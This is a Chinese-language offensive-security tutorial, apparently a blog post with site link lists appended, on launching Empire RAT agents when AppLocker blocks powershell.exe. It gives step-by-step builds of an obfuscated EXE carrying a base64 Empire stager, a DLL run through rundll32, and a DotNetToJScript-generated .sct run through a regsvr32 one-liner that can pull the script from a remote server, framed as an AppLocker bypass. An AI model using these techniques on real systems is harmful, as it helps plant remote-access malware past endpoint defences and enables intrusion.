在实战中,Empire成为域渗透、后渗透阶段一大利器,而Empire是一个Powershell RAT,所以PowerShell必须要能运行Empire中几乎所有的启动方法都依赖于使用PowerShell.exe的功能。但是如果在无法调用powershell.exe环境下(客户端已经使用AppLocker阻止了Powershell.exe运行)利用empire就需要一些技巧和方法了。


powershell.exe进程只是为System.Management.Automation.dll的实现提供了一个DLL Host。而它的核心,实际上就是System.Management.Automation.dll,这也是PowerShell的真实身份。此外,还有其他本地Windows进程同样也作为PowerShell的Host,比如powershell_ise.exe。


然而,我们也可以创建自己的进程来为System.Management.Automation.dll提供Host。目前已经有一些开源项目实现了这一点,例如

UnmanagedPowerShell,(https://github.com/leechristensen/UnmanagedPowerShell)、SharpPick(https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick/SharpPick)、PSAttack(https://github.com/jaredhaight/PSAttack)以及nps(https://github.com/Ben0xA/nps)。

当然,使用PowerShell的优势之一在于,PowerShell.exe是经过微软签名的二进制文件,会被应用程序加入白名单,方便我们的使用。而自己创建的进程则不会被应用程序所信任,但是通过这样的方式,可以在powershell.exe被禁用的情况下执行PowerShell。

 

环境: kali linux 192.168.190.141(攻击机)

     Windows 8 192.168.190.149 (靶机)

0x01 构建Empire.exe

用到的工具SharpPick (https://github.com/PowerShellEmpire/PowerTools)

用Visual Studio打开下载好的PowerPick项目,不过我用的是vs2012,2010/2012的好处在于,它带有越来越难找到的旧的.NET库。

首先,你需要混淆一些项目属性。改变程序和程序集信息的名称。可以通过菜单“项目-SharpPick 属性”来做到。确保修改“输出类型”为“Windows应用程序”,以便当你双击运行或者从CLI执行后,它能在后台运行。

点击“程序集信息”按钮,并修改属性。

现在你还要将Program.cs中的代码修改如下

字符串“stager”只包含base64编码的Empire启动器的信息。比如我把empire生成powershell的base64作为传递给RunPS()函数的参数(需base64解码后),该函数将PowerShell命令发送给System.Management.Automation,这里是PowerShell的魅力所在。将直接进入Windows核心。

现在在菜单中选择“生成-生成解决方案”或者点击“F6”。生成的二进制文件位于

PowerPick\bin\x86\Debug

你可能会遇到关于ReflectivePick不能生成的错误。你能选择菜单“生成-配置管理器”,并从“项目上下文”中去除“ReflectivePick”。因为我们不需要它。

双击可执行文件来测试下二进制文件,或者在CLI中运行测试。在你启动或执行后它应该是运行于后台的。

0x02 构建Empire.dll

https://github.com/johnjohnsp1/AllTheThings

就像EXE一样,打开项目并改变这些属性。在项目属性中需要更改的其他重要事项是“输出类型”,它需要更改为 “类库”。你也应该将“启动对象”设置为下拉菜单中的默认值(基于你的命名空间和类名称)。

接下来,安装Visual Studio的nuget包管理器。一旦安装完成,你需要通过运行以下命令来获取依赖关系“UnmanagedExports”:

接下来,打开“Program.cs”,并更改你的代码看起来像下面这样,除了几个“using”语句未显示,但大部分都包含在gist中:

如果出现这样的显示引用错误的情况,我们需要在项目里自己添加引用

再次去“构建 – >构建解决方案”或点击“F6”,你应该在你的构建目录中会生成一个LegitLibrary.dll(和上面一样)。

通过运行以下步骤来测试新的DLL

rundll32.exe LegitLibrary.dll,EntryPoint

这应该会返回一个新的代理到你的EmpireC2。如果你查看Process Explorer,你将看到rundll32作为一个新的进程运行。

0x03构建Empire.sct

这种方式可能是最复杂的,因为它涉及到一些比较繁琐的步骤。最终结果基本上是这样的:将PowerShell转换成.NET应用程序,将该.NET应用程序转换为一个javascript文件中的base64编码的二进制文件,然后将其填充到.SCT中。你可以使用regsvr32调用该脚本,该脚本可以执行在你的Web /文件服务器上存放的.SCT的JavaScript代码。

我们的目标是Empire.exe有效载荷,但是要转换为base64。项目选项应该与你为Empire.exe所做的相同,换句话说就是“Windows应用程序”。代码有点不一样,因为JavaScript需要一些公共方法来实现和执行我们的代码。

解决方法:

需要添加引用NDesk.Options

下载地址:

http://www.ndesk.org/Options

解压缩,工程-添加引用-浏览-NDesk.Options.dll

重新编译

构建后,去目录找到你生成的二进制,它应该是一个exe。

接下来,去下载DotNetToJScript  并在Visual Studio中打开该项目,将其.NET目标更改为“.NET 3.5”(或2.0)项目选项并编译(构建)它。一旦构建,找到DotNetToJScript.exe和它的配套NDesk.Options.dll,并将它们放在与LegitScript.exe二进制文件相同的位置。

运行以下命令(-c是入口点,更改为你选择的namespace.class):

. DotNetToJScript.exe -c = LegitScript.Program -o = legitscript.js legalscript.exe

这应该会输出一个legalscript.js。DotNetToJScript输出有其他几种语言,包括用于嵌入Office文档的VBA和VBScript,或者你可能需要的其他东西。

你可以通过运行以下步骤进行下一步的测试:

wscript.exe legalscript.js

执行后应该会在后台启动一个新的代理工作站。它将作为进程监视器中的“wscript”运行。

如果你已经确认这正常的工作了,那么现在是把它包装成一个.sct,所以我们可以用regsvr32.exe来调用它。

将legalscript.js的全部内容放入CDATA标签。你可以使用以下方式获取Empire中的XML格式:

(Empire:usestager windows / launcher_sct

设置无关紧要,但你可以将其设置为监听器,并确保“OutFile”设置为null或“”空值,因为这将打印内容并进行屏幕显示。如果你从Empire获取内容,请从CDATA标签中删除所有内容,并将其替换为legalscript.js。

保存为2legit.sct并进行测试:

regsvr32 / s / n / u /i:2legit.sct scrobj.dll

这会再次返回一个新的代理。你可以将该.sct保存到你的网络或文件服务器,并用“/i:https ://example.com/2legit.sct””远程替换“/i:” 。这是一个AppLocker绕过方式,因为regsvr32.exe是Microsoft签名的二进制文件。

无 PowerShell.exe 执行 Empire 的几种姿势的更多相关文章

  1. 【转】unittest执行测试用例的N种姿势总结

    原文地址:https://www.cnblogs.com/fighter007/p/9514453.html 1.我们写几个方法,用来做测试用例 2.我们在另一文件中引用这个模块下面的所有类方法,先看 ...

  2. unittest执行测试用例的N种姿势总结

    1.我们写几个方法,用来做测试用例 2.我们在另一文件中引用这个模块下面的所有类方法,先看第一种方法: 运行结果: 缺点:每个用例都需要加载到测试套件中,如果有1000个用例,要写1000次重复的代码 ...

  3. powershell脚本执行绕过powershell下脚本执行限制(cmd下执行)以及在cmd下隐藏脚本窗口

    powershell脚本执行绕过powershell下脚本执行限制(cmd下执行) powershell脚本运行方式有两种,一种是powshell中运行,另一种是在cmd中(在某些情况下相当有用) p ...

  4. C#中得到程序当前工作目录和执行目录的五种方法

    string str="";str += "\r\n" + System.Diagnostics.Process.GetCurrentProcess().Mai ...

  5. python中执行shell的两种方法总结

    这篇文章主要介绍了python中执行shell的两种方法,有两种方法可以在Python中执行SHELL程序,方法一是使用Python的commands包,方法二则是使用subprocess包,这两个包 ...

  6. Python3.x:打包为exe执行文件(window系统)

    Python3.x:打包为exe执行文件(window系统) window系统下发布: 一.安装pyinstaller(PyInstaller 3.3.1) cmd安装命令: pip install ...

  7. PowerShell 远程执行命令

    PowerShell 远程执行命令 最近在做一些自动化的测试工作,在代码实现的过程中需要远程启动/关闭一些服务或者测试机. 我首先想到的是建立一个website,通过网站对一些服务进行操作,但是这样感 ...

  8. bytectf2019 boring_code的知识学习&&无参数函数执行&&上海市大学生CTF_boring_code+

    参赛感悟 第三次还是第二次参加这种CTF大赛了,感悟和学习也是蛮多的,越发感觉跟大佬的差距明显,但是还是要努力啊,都大三了,也希望出点成绩.比赛中一道WEB都没做出来,唯一有点思路的只有EZCMS,通 ...

  9. 终端进程启动失败: shell 可执行文件“C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe”的路径不存在。

    因为某些原因重新安装1了vscode 和node  遇到了两个棘手的问题 ctrl + ~  打开终端提示 " 终端进程启动失败: shell 可执行文件"C:\Windows\S ...

随机推荐

  1. springboot数据库主从方案

    本篇分享数据库主从方案,案例采用springboot+mysql+mybatis演示:要想在代码中做主从选择,通常需要明白什么时候切换数据源,怎么切换数据源,下面以代码示例来做阐述: 搭建测试环境(1 ...

  2. springmvc项目中的中文乱码的解决及未生效解决

    情景: springmvc项目中,在控制台输出时中文乱码,在web网页中正常. 解决方法: 在web.xml中添加如下代码: <!-- 中文乱码解决 --> <filter> ...

  3. Android系统修改之Email自动回复功能分析

    1. Email添加自动回复功能需要注意事项 Email可能存在多个账户, 因此自动回复功能应该添加在账户设置里面, 自动回复针对一个账户单独处理 在Email账户设置里面, 开启自动回复功能的时, ...

  4. nodejs实现聊天机器人

    技术栈 服务端: koa.koa-route.koa-websocket.request. 客户端: html.css.js.websocket. 远程聊天API: http://api.qingyu ...

  5. Metasploit工具----漏洞利用模块

    漏洞利用是指由渗透测试者利用一个系统.应用或者服务中的安全漏洞进行的攻击行为.流行的渗透攻击技术包括缓冲区溢出.Web应用程序攻击,以及利用配置错误等,其中包含攻击者或测试人员针对系统中的漏洞而设计的 ...

  6. java8 Date/Time API 新的日期处理工具

    接上篇文章 java8 新特性 由于上篇过于庞大,使得重点不够清晰,本篇单独拿出 java8 的 Date/Time api 进行说明,新的日期时间工具全部都在 java.time 及其子包中. 新 ...

  7. JavaScript之操作符

    计算机被发明的初衷仅仅是为了快速实现一些数学计算,然而经过多年发展,计算机已经不单单能实现快速计算这么简单的工作了,现代计算机不仅能够进行数值的计算,还能进行逻辑计算,还具备存储记忆功能,是能够按照程 ...

  8. Leetcode 96.不同的搜索二叉树

    给定一个整数 n,求以 1 ... n 为节点组成的二叉搜索树有多少种? 示例: 输入: 3 输出: 5 解释: 给定 n = 3, 一共有 5 种不同结构的二叉搜索树: 1 3 3 2 1 \ / ...

  9. CSS从大图中抠图然后显示其中的一部分

    相信大家在使用css时会遇到一个情况吧 就是一张大图片里面什么都有 各种图标都有 然而自己就是不太会使用其中的小图标 这是我最近的一次学习 首先上图 这么大一张图片 那么这么使其只显示一部分 并且为我 ...

  10. 深入集合类系列——HashMap和HashTable的区别

    含义:HashMap是基于哈希表的Map接口的非同步实现.允许使用null值和null键.此类不保证映射的顺序,特别是它不保证该顺序恒久不变. 数据结构:HashMap实际上是一个“链表散列”的数据结 ...